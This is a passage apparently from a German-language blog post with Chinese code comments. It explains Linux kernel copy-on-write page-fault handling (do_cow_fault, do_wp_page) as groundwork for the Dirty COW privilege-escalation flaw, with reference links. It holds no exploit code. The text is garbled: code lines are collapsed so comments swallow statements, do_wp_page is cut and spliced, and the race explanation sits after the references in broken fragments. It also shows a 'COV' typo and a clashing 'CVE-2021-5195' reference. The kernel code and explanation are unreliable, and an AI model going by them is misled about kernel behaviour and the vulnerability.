pte_unmap(page_table); /* The VMA was not fully populated on mmap() or missing VM_DONTEXPAND */ if (!vma->vm_ops->fault) // 是否有定义处理缺页异常的函数 return VM_FAULT_SIGBUS; if (!(flags & FAULT_FLAG_WRITE)) // 当前内存访问是读操作 return do_read_fault(mm, vma, address, pmd, pgoff, flags, orig_pte); if (!(vma->vm_flags & VM_SHARED)) // 当前内存访问是写操作,且是私有映射MAP_PRIVATE,那么需要COW return do_cow_fault(mm, vma, address, pmd, pgoff, flags, // 创建一个新的页,将数据拷贝到新页中,设置新页的PTE(此时还未真正write) orig_pte); return do_shared_fault(mm, vma, address, pmd, pgoff, flags, orig_pte); // 当前内存访问是写操作,且是共享映射MAP_SHARED,不需要COW }
##### do_cow_fault
Der Ablauf von `do_cow_fault` ist im Wesentlichen wie folgt
- Zuerst wird `alloc_page_vma` aufgerufen, um eine neue physische Seite `new_page` zuzuweisen
- Prüfen, ob OOM (Out of Memory) vorliegt
- Dann liest `__do_fault` Daten aus der Datei in eine andere Seite `fault_page`, was im Wesentlichen den Aufruf der an `vma->vm_ops` gebundenen `fault`-Funktion darstellt
- `copy_user_highpage` kopiert die Daten von `fault_page` nach `new_page`; diese Funktion ist im Wesentlichen ein Wrapper für `memcpy`
- `do_set_pte` setzt die PTE (Page Table Entry) für die Seite mit den Attributen schreibbar und anonym```c
static int do_cow_fault(struct mm_struct *mm, struct vm_area_struct *vma,
unsigned long address, pmd_t *pmd,
pgoff_t pgoff, unsigned int flags, pte_t orig_pte)
{
struct page *fault_page, *new_page;
struct mem_cgroup *memcg;
spinlock_t *ptl;
pte_t *pte;
int ret;
if (unlikely(anon_vma_prepare(vma)))
return VM_FAULT_OOM;
new_page = alloc_page_vma(GFP_HIGHUSER_MOVABLE, vma, address); // 为新页分配物理内存。VMA的表示粒度是4k
if (!new_page)
return VM_FAULT_OOM;
if (mem_cgroup_try_charge(new_page, mm, GFP_KERNEL, &memcg)) { // 检查当前进程使用的内存是否超过了cgroup的限制
page_cache_release(new_page); // 释放COW的新页
return VM_FAULT_OOM; // 返回OOM错误,COW失败
}
ret = __do_fault(vma, address, pgoff, flags, new_page, &fault_page); // 从文件中读取数据到fault_page
if (unlikely(ret & (VM_FAULT_ERROR | VM_FAULT_NOPAGE | VM_FAULT_RETRY)))
goto uncharge_out;
if (fault_page) // 读取成功
copy_user_highpage(new_page, fault_page, address, vma); // 将fault_page的数据拷贝到new_page中,实际调用memcpy
__SetPageUptodate(new_page);
pte = pte_offset_map_lock(mm, pmd, address, &ptl);
if (unlikely(!pte_same(*pte, orig_pte))) { // 并发检查
pte_unmap_unlock(pte, ptl);
if (fault_page) {
unlock_page(fault_page);
page_cache_release(fault_page);
} else {
/*
* The fault handler has no page to lock, so it holds
* i_mmap_lock for read to protect against truncate.
*/
i_mmap_unlock_read(vma->vm_file->f_mapping);
}
goto uncharge_out;
}
do_set_pte(vma, address, new_page, pte, true, true); // 设置新页的PTE,该页为可写匿名页
mem_cgroup_commit_charge(new_page, memcg, false);
lru_cache_add_active_or_unevictable(new_page, vma);
pte_unmap_unlock(pte, ptl);
if (fault_page) {
unlock_page(fault_page);
page_cache_release(fault_page);
} else {
/*
* The fault handler has no page to lock, so it holds
* i_mmap_lock for read to protect against truncate.
*/
i_mmap_unlock_read(vma->vm_file->f_mapping);
}
return ret;
uncharge_out:
mem_cgroup_cancel_charge(new_page, memcg);
page_cache_release(new_page);
return ret;
}
Beim ersten Seitenfehler haben wir durch do_cow_fault in do_fault bereits den Dateiinhalt in den Speicher gelesen und die PTE gesetzt. Nun handelt es sich um den zweiten Seitenfehler aufgrund fehlender Schreibberechtigung. Der Ablauf von do_wp_page, der in handle_pte_fault aufgerufen wird, ist wie folgt:
Zuerst wird die Seite abgerufen, die der PTE entspricht.
Der COW-Ablauf führt dann zu reuse_swap_page, wo geprüft wird, ob nur ein Task die Seite verwendet.
Wenn ja, wird die neue Seite, die durch do_cow_fault zugewiesen wurde, direkt wiederverwendet. wp_page_copy kopiert den Seiteninhalt, damit ist der COV abgeschlossen.```c
static int do_wp_page(struct mm_struct *mm, struct vm_area_struct *vma,
unsigned long address, pte_t *page_table, pmd_t *pmd,
spinlock_t *ptl, pte_t orig_pte)
__releases(ptl)
{
struct page *old_page;
old_page = vm_normal_page(vma, address, orig_pte); // 获取pte对应的页面 if (!old_page) { /* * VM_MIXEDMAP !pfn_valid() case, or VM_SOFTDIRTY clear on a * VM_PFNMAP VMA. * * We should not cow pages in a shared writeable mapping. * Just mark the pages writable and/or call ops->pfn_mkwrite. */ if ((vma->vm_flags & (VM_WRITE|VM_SHARED)) == (VM_WRITE|VM_SHARED)) return wp_pfn_shared(mm, vma, address, page_table, ptl, orig_pte, pmd);
pte_unmap_unlock(page_table, ptl);
return wp_page_copy(mm, vma, address, page_table, pmd,
orig_pte, old_page);
}
/*
## Referenzen
- [Ein umfassender Überblick über die Behandlung von Page Faults in Linux – Grafische Erklärung von Page Faults](https://www.cnblogs.com/binlovetech/p/17918733.html)
- [Die Essenz des mmap-Speichermappings aus der Kernel-Perspektive (Quellcode-Implementierung)](https://www.cnblogs.com/binlovetech/p/17754173.html)
- [Analyse und Reproduktion der Schwachstelle CVE-2016-5195](https://xz.aliyun.com/t/7561?time__1311=n4%2BxnD0G0%3D14gDBqPod4iIQ0I%3DD5G80ePD&alichlgref=https%3A%2F%2Fwww.google.com%2F#toc-7)
- [[Schwachstellenanalyse] CVE-2016-5195 Dirtycow: Analyse der Linux-Kernel-Privilegien-Eskalations-Schwachstelle](https://www.anquanke.com/post/id/84784)
- [Analyse des Ablaufs der Page-Fault-Behandlung in Linux und Analyse von CVE-2021-5195](https://www.anquanke.com/post/id/290851)
- [Zusammenstellung der Linux-Hochrisiko-Schwachstelle Dirtycow](https://zhuanlan.zhihu.com/p/25918300)
- [Lauf, Linux-Kernel!](https://xuanxuanblingbling.github.io/assets/attachment/奔跑吧-linux内核-内存管理-DirtyCow.pdf)
kmap, der Prozess schließt den Schreibvorgang ab (aber die Änderungen werden nicht mit der Datei synchronisiert).follow_page_mask greift ein drittes Mal auf die Seite zu. Diesmal ist das Schreib-Flag entfernt, sodass es versucht, mit Leseberechtigung zuzugreifen. Gleichzeitig wurde die Seitenabbildung aufgehoben, was einen weiteren Seitenfehler auslöst.faultin_page die Zielseite erfolgreich in den Speicher lesen und die Abbildung herstellen, anstatt wie im Normalfall eine COW-Kopie einer anonymen Seite zu erstellen. Rückkehr zu retry.follow_page_mask greift ein viertes Mal auf die Seite zu. Diesmal wird die Zielseite erfolgreich abgerufen, ohne einen Fehler auszulösen.kmap, der Prozess schließt den Schreibvorgang ab, die Seite wird als "dirty" markiert, und schließlich werden die Änderungen in die Datei synchronisiert, was einen Schreibzugriff über die Berechtigungen hinaus ermöglicht./*
pte_unmap_unlock(page_table, ptl); return wp_page_copy(mm, vma, address, page_table, pmd, orig_pte, old_page); }